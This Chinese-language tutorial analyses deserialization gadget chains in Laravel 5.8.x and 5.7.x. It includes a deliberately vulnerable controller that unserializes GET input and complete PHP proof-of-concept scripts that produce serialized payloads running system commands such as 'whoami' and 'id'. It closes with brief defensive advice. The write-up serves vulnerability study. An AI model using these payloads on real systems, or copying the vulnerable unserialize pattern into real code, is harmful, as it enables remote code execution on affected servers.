Laravel反序列化利用链分析
字数 1605 2025-08-20 18:18:05
Laravel反序列化漏洞分析与利用链教学文档
一、漏洞概述
Laravel框架中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。本文详细分析Laravel 5.8.x和5.7.x版本中的反序列化利用链。
二、Laravel 5.8.x 反序列化利用链分析
1. 环境配置
首先创建一个简单的DemoController控制器:
// DemoController.php
<?php
namespace App\Http\Controllers;
class DemoController extends Controller {
public function demo() {
if (isset($_GET['c'])) {
$code = $_GET['c'];
unserialize($code);
} else {
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
在routes/web.php中添加路由:
Route::get("/demo","\App\Http\Controllers\DemoController@demo");
2. 利用链分析
2.1 起点:PendingBroadcast::__destruct()
全局搜索__destruct()方法,找到Illuminate\Broadcasting\PendingBroadcast::__destruct():
public function __destruct() {
$this->events->dispatch($this->event);
}
events和event参数可控,通过控制events参数可以调用任意类的dispatch()方法。
2.2 中间跳板:Dispatcher::dispatch()
寻找可利用的dispatch()方法,发现Illuminate\Bus\Dispatcher::dispatch():
public function dispatch($command) {
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
2.3 关键调用:dispatchToQueue()
dispatchToQueue()方法中包含call_user_func():
public function dispatchToQueue($command) {
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
// ...
}
2.4 条件绕过
要执行到dispatchToQueue()方法需要满足:
$this->queueResolver有值(可控)$this->commandShouldBeQueued($command)返回true
commandShouldBeQueued()方法:
protected function commandShouldBeQueued($command) {
return $command instanceof ShouldQueue;
}
需要$command(即PendingBroadcast类中的$this->event)是一个继承ShouldQueue接口的类,如BroadcastEvent类。
3. 完整利用链
Illuminate\Broadcasting\PendingBroadcast的__destruct()Illuminate\Bus\Dispatcher的dispatch()Illuminate\Broadcasting\BroadcastEvent用于继承ShouldQueue接口
4. POC代码
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events="", $event="") {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting {
class BroadcastEvent {
public $connection = "whoami";
}
}
namespace {
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d, $b);
echo urlencode(serialize($p));
}
?>
三、Laravel 5.7.x 反序列化利用链分析
1. 关键类与属性
$test: 实例化的Illuminate\Auth\GenericUser$app: 实例化的Illuminate\Foundation\Application$command: 要执行的PHP函数(如system)$parameters: 函数参数(如array('id'))
2. 利用链分析
2.1 起点:PendingCommand::__destruct()
public function __destruct() {
if ($this->hasExecuted) {
return;
}
$this->run();
}
2.2 关键调用:run()
public function run() {
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
}
// ...
}
2.3 mockConsoleOutput()绕过
mockConsoleOutput()方法中需要$this->test->expectedQuestions为数组:
foreach ($this->test->expectedQuestions as $i => $question) {
// ...
}
使用DefaultGenerator类的__get()方法返回数组:
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
public function __get($attribute) {
return $this->default;
}
}
2.4 最终调用
通过Application类的call()方法最终调用call_user_func_array()执行命令。
3. 完整POC
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand {
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct($test, $app, $command, $parameters) {
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker {
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application {
protected $instances = [];
public function __construct($instances = []){
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "ghtwf01"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("id"));
echo urlencode(serialize($pendingcommand));
}
四、防御措施
- 避免反序列化用户可控的输入
- 及时升级Laravel框架到最新版本
- 使用
__wakeup()或__destruct()方法时进行安全检查 - 实现对象序列化白名单机制
五、总结
本文详细分析了Laravel 5.8.x和5.7.x版本中的反序列化漏洞利用链,通过精心构造的序列化数据可以实现任意代码执行。理解这些利用链有助于开发者更好地防御此类漏洞。